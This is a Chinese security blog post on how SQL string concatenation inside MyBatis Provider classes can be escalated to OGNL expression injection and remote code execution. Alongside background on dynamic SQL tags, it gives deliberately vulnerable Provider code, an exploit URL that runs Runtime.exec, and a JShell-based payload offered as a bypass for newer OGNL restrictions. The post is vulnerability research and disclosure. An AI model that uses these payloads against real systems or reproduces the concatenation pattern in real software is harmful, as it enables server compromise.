Mybatis 从SQL注入到OGNL注入

本文最后更新于 2023.05.14,总计 13772 字 ,阅读本文大概需要 6 ~ 18 分钟
本文已超过 557天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

动态SQL

动态 SQL 是 MyBatis 的强大特性之一,一般而言,如果不使用动态SQL来拼接SQL语句,是比较痛苦的,比如拼接时要确保不能漏空格,还要注意去掉列表最后一个列名的逗号等,但是利用动态 SQL,就可以彻底摆脱这种痛苦。

一般而言,使用mybatis有两种配置,一种是通过xml文件的方式来配置,另一种是通过注解的方式来配置。

1、xml文件

mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种,分别是:

① if

if标签是Mybatis中使用动态SQL比较频繁的地方,尤其是在where的判断里,比如:

<select id="findActiveBlogWithTitleLike" resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <if test="title != null">
    AND title like #{title}
  </if>
</select>

这里的SQL语句就提供了选择情景,如果我们不传入title或者传入的title为空,那么就不会拼接 AND title like #{title}

又或者想加入额外的判断:

<select id="findActiveBlogLike"
     resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <if test="title != null">
    AND title like #{title}
  </if>
  <if test="author != null and author.name != null">
    AND author_name like #{author.name}
  </if>
</select>

结论:if标签里的 test属性,可以插入并解析OGNL表达式

② choose (when, otherwise)

根据官方文档中的说明

有时候,我们不想使用所有的条件,而只是想从多个条件中选择一个使用。针对这种情况,MyBatis 提供了 choose 元素,它有点像 Java 中的 switch 语句。

<select id="findActiveBlogLike" resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <choose>
    <when test="title != null">
      AND title like #{title}
    </when>
    <when test="author != null and author.name != null">
      AND author_name like #{author.name}
    </when>
    <otherwise>
      AND featured = 1
    </otherwise>
  </choose>
</select>

结论:when标签里的 test属性,可以插入并解析OGNL表达式

③ trim (where, set)

<select id="findActiveBlogLike"  resultType="Blog">
  SELECT * FROM BLOG WHERE
  <if test="state != null">
    state = #{state}
  </if>
  <if test="title != null">
    AND title like #{title}
  </if>
  <if test="author != null and author.name != null">
    AND author_name like #{author.name}
  </if>
</select>

可以看下这个SQL语句,假设如果没有满足匹配的条件,那么最终这条 SQL 会变成这样:

SELECT * FROM BLOG
WHERE

毫无疑问,这会导致查询失败

同样的,如果匹配的只是第二个条件,这条 SQL 会是这样:

SELECT * FROM BLOG
WHERE
AND title like 'someTitle'

这个查询也会失败

所以mybatis提出来了trim方法,如下:

<select id="findActiveBlogLike" resultType="Blog">
  SELECT * FROM BLOG
  <where>
    <if test="state != null">
         state = #{state}
    </if>
    <if test="title != null">
        AND title like #{title}
    </if>
    <if test="author != null and author.name != null">
        AND author_name like #{author.name}
    </if>
  </where>
</select>

可以看到多了一个where标签,同理还有一个set标签

结论:该情况下,一般没有地方可以供我们插入OGNL表达式

④ foreach

动态 SQL 的另一个常见使用场景是对集合进行遍历(尤其是在构建 IN 条件语句的时候)。比如:

<select id="selectPostIn" resultType="domain.blog.Post">
  SELECT *
  FROM POST P
  <where>
    <foreach item="item" index="index" collection="list"
        open="ID in (" separator="," close=")" nullable="true">
          #{item}
    </foreach>
  </where>
</select>

结论:该情况下,一般没有地方可以供我们插入OGNL表达式

⑤ bind

bind 标签允许我们在 OGNL 表达式以外创建一个变量,并将其绑定到当前的上下文。比如:

<select id="selectBlogsLike" resultType="Blog">
  <bind name="pattern" value="'%' + _parameter.getTitle() + '%'" />
  SELECT * FROM BLOG
  WHERE title LIKE #{pattern}
</select>

结论:bind标签里的 value属性,可以插入并解析OGNL表达式

2、注解

springboot使我们摆脱了各种xml配置的烦恼,对应的,mybatis也为springboot提供了对应的注解来满足动态SQL的功能,主要有以下注解:

  • @Insert
  • @Update
  • @Delete
  • @Select
  • @InsertProvider
  • @SelectProvider
  • @UpdateProvider
  • @DeleteProvider

@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能,每一个都有一个对应的Provider注解标识

带有Provider注解和不带有Provider注解的区别是,使用Provider需要自己实现查询类,并且使用动态SQL也简单很多。

举个例子,如果@Update注解想要实现动态SQL,那么一定要使用 <script> 标签,如下:

@Update({"<script>",
      "update Author",
      "  <set>",
      "    <if test='username != null'>username=#{username},</if>",
      "    <if test='password != null'>password=#{password},</if>",
      "    <if test='email != null'>email=#{email},</if>",
      "    <if test='bio != null'>bio=#{bio}</if>",
      "  </set>",
      "where id=#{id}",
      "</script>"})
void updateAuthorValues(Author author);

可以看到,可以引用xml中的标签,然后来使用动态SQL

但这样的方式很不美观,而且也有点鸡肋(还不如直接用xml来配置了)

因此有了各类Provider,如:@SelectProvider

我们定义一个查询方法为:

@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName")
Teacher findUserByName(Map<String, Object> map);

SelectProvider 调用的方法为findTeacherByName,如下:

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=#{name}");
            }
        }.toString();
        return s;
    }
}

可以看到,这种方式没有任何标签,但是同样实现了动态SQL

漏洞分析

场景分析

前面说了动态SQL的基础知识,可以看到,主要就一个点,在动态SQL中,可以解析OGNL表达式

那么是不是说,如果我们控制了一个变量,并且该变量可以被解析成OGNL表达式,是不是就能够实现OGNL表达式注入呢?

答案是肯定的。

经过研究,总结出变量可以被解析成OGNL表达式,主要有以下几个地方:

  1. if标签里的 test属性

此属性一般写死,不可控

  1. when标签里的 test属性

此属性一般写死,不可控

  1. bind标签里的 value 属性

bind标签value属性是可以传值的,如:

<if test="name != null and name !=''">
  <bind name="likename" value="name" />
       name like #{likename}
</if>

但经过测试发现,这里进行OGNL表达式解析的时候,是有顺序的

假设令name的值为:${@java.lang.Math@min(4,10)}

我们想要的执行顺序是这样的:

先利用OGNL表达式解析器来获取${@java.lang.Math@min(4,10)}的值,得到值以后,再将其赋给bind标签中的value,即:

<bind name="likename" value="4" />

但实际上并非如此,mybatis对于bind中value属性的OGNL解析流程是这样的,

首先利用OGNL表达式解析器解析value的值,此时值单纯为name变量,即:

<bind name="likename" value="name" />

然后得到值,${@java.lang.Math@min(4,10)},然后将其赋给bind标签value属性中的name变量,即:

<bind name="likename" value="${@java.lang.Math@min(4,10)}" />

这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析,也就无法实现OGNL表达式注入

  1. ${param} 参数中

${param} 和 【bind标签里的 value属性】同理,虽然可以传值, 但是存在解析顺序问题,同样无法实现OGNL表达式注入

比如存在以下select标签 :

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${name};
</select>

传入的name为:${@java.lang.Math@min(4,10)}

那么其解析过程为:

首先利用OGNL解析器解析${}标签里的内容,解析完毕以后得到name的变量,传入SQL中:

select id,email from Teacher where name = '${@java.lang.Math@min(4,10)}';
  1. Provider实现类中的拼接到SQL里的变量

在注解部分里,曾经提到:

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=#{name}");
            }
        }.toString();
        return s;
    }
}

可以看到,返回值实际上就是一个SQL语句

没错,Provider其实就是要返回一个SQL字符串,只不过用了一些关键字做格式化而已,其实不使用也可以,比如:

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

甚至可以使用String字符串拼接SQL语句:

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String sql = "select id,email from Teacher where name = " + name;
        return sql;
    }
}

亦或者使用String.format来处理:

   public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
      String finalName = String.format(" name in (%s)", name);
      String sql = new SQL() {{
        SELECT("id,email");
        FROM("Teacher");
        WHERE(finalName);
        ORDER_BY("id desc");
      }}.toString();
      System.out.println(sql);
      return sql;
    }

有时候复杂的语句还可以使用StringBuilder或者StringBuffer拼接,如:

public String countUserByRolePM(final UserVO userVO)
    {
        StringBuffer sb = new StringBuffer();
        sb.append("SELECT count(*) FROM ( ");
        sb.append(" SELECT A.*,count(P.Id) FROM (");
        sb.append(" SELECT U.id,U.name,DD.referrer,U.mobilePhone ,U.country ,U.city,U.goodAtIndustry,U.englishAbility,U.goodAtArea,U.state,U.createTime,U.modifyTime  FROM T_USER U LEFT JOIN T_USER_ROLE UR ON U.id = UR.userId " +
                " LEFT JOIN (SELECT A.id,B.name as referrer FROM T_USER AS  A INNER JOIN T_USER as B ON A.referrer = B.id) as DD ON DD.id = U.id WHERE 1=1 ");

        sb.append(" AND UR.roleId in (");

        String[] roleids = userVO.getParaRoleIDS().split(",");

        if (roleids != null){
            for (int i = 0 ; i< roleids.length ; i ++){
                String s = roleids[i];
                if(i != roleids.length -1){
                    sb.append("'" + s + "'" + ",");
                }else{
                    sb.append("'" + s + "'");
                }
            }
        }
        sb.append(")");

        if(!StringUtils.isEmpty(userVO.getName())){
            sb.append(" AND U.name LIKE CONCAT('%',#{name},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getMobilePhone())){
            sb.append(" AND U.mobilePhone = #{mobilePhone}");
        }
        if(!StringUtils.isEmpty(userVO.getCity())){
            sb.append(" AND U.city LIKE CONCAT('%',#{city},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getRegion())){
            sb.append(" AND U.region LIKE CONCAT('%',#{region},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getPlatformLevel())){
            sb.append(" and U.platformLevel =  #{platformLevel}");
        }
        if(!StringUtils.isEmpty(userVO.getGoodAtIndustry())){
            sb.append(" and find_in_set(#{goodAtIndustry},U.goodAtIndustry)");
        }
        if(!StringUtils.isEmpty(userVO.getState())){
            sb.append(" and U.state = #{state}");
        }
        sb.append(" GROUP BY U.id");
        sb.append(" ) A");
        sb.append(" LEFT JOIN T_PROJECT P ON P.pmId = A.id");
        sb.append(" GROUP BY A.id");
        sb.append(" ORDER BY A.modifyTime DESC");
        sb.append(") as A");
        return sb.toString();
    }

这样形成的SQL语句,实际上就是相当于生成了一个XML文件:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = 传入的name值
</select>

那这样的方式和bind标签里的 value 属性或者${param} 参数中有没有区别呢?

当然有区别,并且这种区别是本质的

正是前文中提到的:解析顺序

这种形成的SQL语句会首先进行OGNL表达式,然后再执行查询。

以下面的Provider为例:

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

如果我们传入name的值为:${@java.lang.Math@min(4,10)}

其流程是这样的:

首先生成了SQL语句为:

select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};

经过一系列的传递,相当于生成(实际上并未生成,直接解析的)了一个如下的XML文件:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
</select>

然后进行OGNL表达式解析:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = '4';
</select>

解析完毕以后得到name的变量,传入SQL中:

select id,email from Teacher where name = '4';

这也就导致了OGNL表达式注入

影响范围

  • mybatis-spring-boot-starter >=2.0.1(mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL)

或者

  • Mybatis 全版本

或者

  • mybatis-plus-boot-starter >=3.1.1

漏洞复现

如果在mybatis中存在某个SelectProvider(或者其他的Provider)的方法实例如下:

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT(returnSql);
                FROM("Teacher");
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

对应controller如下:

@RequestMapping("selectUserByName")
public Teacher getUserOne(String id,String name){

    Teacher tea=new Teacher();
    tea.setId(id);
    tea.setName(name);
    Teacher teacher=userService.findTeacherByName(tea);
    return teacher;

}
http://localhost:8080/selectUserByName?id=7&name=%24%7B@java.lang.Runtime@getRuntime().exec("open /System/Applications/Calculator.app")%7D

1111.png

利用环境下载:

链接: https://pan.baidu.com/s/1rKZDdpv3vfV-pQGXhAFfKw 提取码: b3qs

漏洞利用限制

不同版本的mybatis-spring-boot-starter引用了不同的Mybatis版本,而不同的Mybatis版本又使用了不同的OGNL组件版本

在 mybatis-spring-boot-starter 组件的2.0.1版本中,其引用的Mybatis版本为3.5.1,对应的OGNL版本为3.2.10,在这个版本中,并未对传入的OGNL表达式反射调用的类进行限制,而在高版本中进行了限制(如mybatis3.5.9,具体从哪个版本开始限制的,没有调查),因此想要在高版本中进行绕过限制,需要一定的技巧,这里只提供一种Java环境大于等于JDK9的通杀payload ,小于9的也可以绕过,具体可以思考从编码入手。

${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}

总结

该漏洞为特殊场景下的利用,只有存在SQL注入的时候,此漏洞才会存在

因此可能遇到的情景比较少

是一种特定场景下mybatis SQL到RCE的补充利用

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

Panda | 热爱安全的理想少年

本文链接:

https://cnpanda.net/sec/1227.html(转载时请注明本文出处及文章链接)

暂时无法评论哦~

暂无评论